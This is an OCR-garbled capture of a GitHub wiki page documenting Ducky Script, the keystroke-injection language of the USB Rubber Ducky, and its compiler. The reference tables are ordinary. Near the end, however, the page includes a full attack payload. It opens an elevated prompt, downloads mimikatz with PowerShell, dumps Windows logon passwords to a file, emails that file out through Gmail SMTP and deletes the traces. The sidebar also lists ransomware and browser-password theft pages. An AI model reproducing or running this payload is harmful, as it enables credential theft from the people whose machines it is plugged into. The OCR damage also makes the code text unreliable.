@ hakSdarren / USB-Rubber-Ducky (Public <> Code © Issues 107 T1} Pullrequests 17 = © Actions (Projects 2 0 Wiki Duckyscript Jump to bottom Didikandriant edited this page on Aug 6, 2021 - 5 revisions 1 © Ducky Script Ducky Script is the language of the USB Rubber Ducky. Writing scripts for can be done from any common ascii text editor such as Notepad, vi, emacs, nano, gedit, kedit, TextEdit, etc Syntax Ducky Script syntax is simple. Each command resides on a new line and may have options follow. Commands are written in ALL CAPS, because ducks are loud and like to quack with pride. Most commands invoke keystrokes, key-combos or strings of text, while some offer delays or pauses. Below is a list of commands and their function, followed by some example usage. Note: In the tables below //n// represents a number and //Char// represents characters A-Z, a-z. REM Similar to the REM command in Basic and other languages, lines beginning with REM will not be processed. REM is a comment ‘Command REM REM The next three lines execute a command pronpt in Windows ure STRING cmd ENTER QDEFAULT_DELAY or DEFAULTDELAY DEFAULT_DELAY or DEFAULTDELAY is used to define how long (milliseconds) to wait between each subsequent command, DEFAULT_DELAY must be issued at the beginning of the ducky script and is optional. Not specifying the DEFAULT_DELAY will result in faster execution of ducky scripts. This command is mostly useful when debugging, Command Parameters DEFAULT_DELAY 0.-> DEFAULTDELAY —0.-> DEFAULT_DELAY 100 REM delays 10@ms between each subsequent command sequence DELAY DELAY creates a momentary pause in the ducky script. It is quite handy for creating a moment of pause between sequential commands that may take the target computer some time to process. DELAY time is specified in milliseconds from 1 to 10000. Multiple DELAY commands can be used to create longer delays. Command Parameters DELAY O.-> DELAY 500 REM will wait Seams before continuing to the next conmand. STRING STRING processes the text following taking special care to auto-shift. STRING can accept a single or multiple characters. Command Parameters STRING an2A.Z0.9 !)” "5 <>. 2/\and pipeure DELAY 5e0 STRING notepad. exe ENTER DELAY 1000 STRING Hello World! WINDOWS or GUI Emulates the Windows-Key, sometimes referred to as the Super-key. Command Optional Parameters cul Single Char WINDOWS Single Char cure REM will hold the Windows-key and press r, on windows systems resulting in the Run menu MENU or APP Emulates the App key, sometimes referred to as the menu key or context menu key. On Windows systems this is similar to the SHIFT F10 key combo, producing the menu similar to a right-click. Command APP. MENU cur 4 MENU STRING v STRING d. //Switch to desktop, pull up context menu and choose actions v, then d toggles displaying Windows desktop icons// SHIFTUnlike CAPSLOCK, cruise control for cool, the SHIFT command can be used when navigating fields to select text, among other functions. Command Optional Parameter DELETE, HOME, INSERT, PAGEUP, PAGEDOWN, WINDOWS, GUI, UPARROW, SHIFT DOWNARROW, LEFTARROW, RIGHTARROW, TAB SHIFT INSERT REM this is paste for most operating systems ALT Found to the left of the space key on most keyboards, the ALT key is instrumental in many automation operations. ALT is envious of CONTROL Command Optional Parameter AUT END, ESC, ESCAPE, F1..F12, Single Char, SPACE, TAB urs DELAY 50 STRING notepad. exe ENTER DELAY 100 STRING Hello World ALT STRING s REM alt-f pulls up the File menu and s saves. This two keystroke combo is why ALT is Jealous of CONTROL's leetness and CTRL+S CONTROL or CTRL The king of key-combos, CONTROL is all mighty. Command Optional Parameters CONTROL BREAK, PAUSE, F1...F12, ESCAPE, ESC, Single Char CTRL BREAK, PAUSE, F1...F12, ESCAPE, ESC, Single CharCONTROL ESCAPE REM this is equivalent to the GUI key in Windows Arrow Keys ‘Command DOWNARROW or DOWN LEFTARROW or LEFT RIGHTARROW or RIGHT UPARROW or UP Extended Commands Command Notes BREAK or PAUSE For the infamous combo CTRL BREAK CAPSLOCK Cruise control for cool. Toggles DELETE END When will it ever ESC or ESCAPE You can never HOME There's no place like INSERT NUMLOCK Toggles number lock PAGEUP PAGEDOWN PRINTSCREEN Typically takes screenshots SCROLLLOCK Hasn't been nearly as useful since the GUI was invented SPACE the final frontier TAB not just a colaCommand Notes FN another modifier key REPEAT Repeats the last command n times Command n REPEAT number of times to repeat DOWN REPEAT 100 REM The previous conmand is repeated 100 times (thus performed 101 times total) Compiling Ducky Scripts are compiled into hex files ready to be named inject.bin and moved to the root of a microSD card for execution by the USB Rubber Ducky. This is done with the tool duckencoder. duckencoder is a cross-platform command-line Java program which converts the Ducky Script syntax into hex files. Usage is: As of duckencoder 1.X usage is: usage: duckencode -i [file ..] encode specified file or: duckencode -i [file ..] -o [file ..] encode to specified file For example on a Linux system: java ~jar duckencoder.jar -i exploit.txt -o /media/microsdcard/inject.binREM Author: Pesce REM Date: 10/20/2013 REM Note: Thanks to all the help everyone! This is my first attempt, don't be to upset! REM ~ ‘open command prompt with admin privileges DELAY 3000 CONTROL ESCAPE DELAY 1000 STRING cmd DELAY 1000 CTRL-SHIFT ENTER DELAY 1000 ALT y ENTER DELAY 300, appropriate mimikatz for architecture STRING powershell if (System IntPtr:Size -eq 4) ( (new-object System.Net WebClient) DownloadFile(http://url to 32bit mimikatz.exe' STEMP%\pw.exe') Jelset (new-object System Net WebClient) DownloadFile(http://url to 64bit mimikatz.exe'6TEMP%\pw.exe’)) ENTER DELAY 5000 REM -- get the passwords and save to c\pwiog txt STRING %STEMP%\pw.exe > c\pwiog.trt & type pwlog.txt ENTER DELAY 2000 STRING privilege-debug ENTER DELAY 1000 STRING sekurlsa:logonPasswords full ENTER DELAY 1000 STRING exit ENTER DELAY 300 STRING del 96TEMP%\pw.exe ENTER DELAY 300 REM ‘email log via gmail STRING powershell ENTER DELAY 300 STRING $SMTPServer = 'smtp.gmail.com! ENTER STRING $SMTPInfo = New-Object Net Mail SmtpClient($SmtpServer, 587) ENTER STRING $SMTPInfo.EnableSsl = Strue ENTER STRING SSMTPInfo.Credentials = New-Object System Net NetworkCredential('gmailuser, ‘gmail password’); ENTER STRING ‘$ReportEmail = New-Object System.Net Mail MailMessage ENTER STRING $ReportEmail From = ‘sending email account’ ENTER STRING $ReportEmail-To.Add('email account to send report’) ENTER STRING $Reportémail Subject = "Duck Report’ ENTER STRING SReportEmail.Body = ‘Attached is your duck report’ ENTER STRING ‘$ReportEmail Attachments Add(‘c\pwlog.txt) ENTER STRING $SMTPInfo.Send(SReportEmail) ENTER DELAY 1000 STRING exit ENTER REM ~ -delete and end STRING del c\pwlog txt ENTER DELAY 300 STRING exit ENTER akm, jownload + Pages 154 Find a Page. > Home > Abhi » all > Anti Browser > Attacking Windows At The Logon Screen, Gaining Access To CMD With System Privileges. > Capitals Logo Fun > Change desktop background (wint0) > Change the background to MylittlePony (win10) > Chrome os cosc > Downloads > Dransomware: A ransomware which will encrypt user's data ‘out root privileges in 30 sec’s. » Duckencoder+ Buckysenpt Ducky Script Syntax REM DEFAULT_DELAY or DEFAULTDELAY DELAY STRING WINDOWS or GUI MENU or APP SHIFT AUT CONTROL of CTRL Arrow Keys Extended Commands REPEAT Compiling > Edject_DVD_loop > Export Browser Passwords and email results Show 139 more pages. Clone this wiki locally https: //github.con/hakSdarren/USB-Rubber -Ducky.wiki.git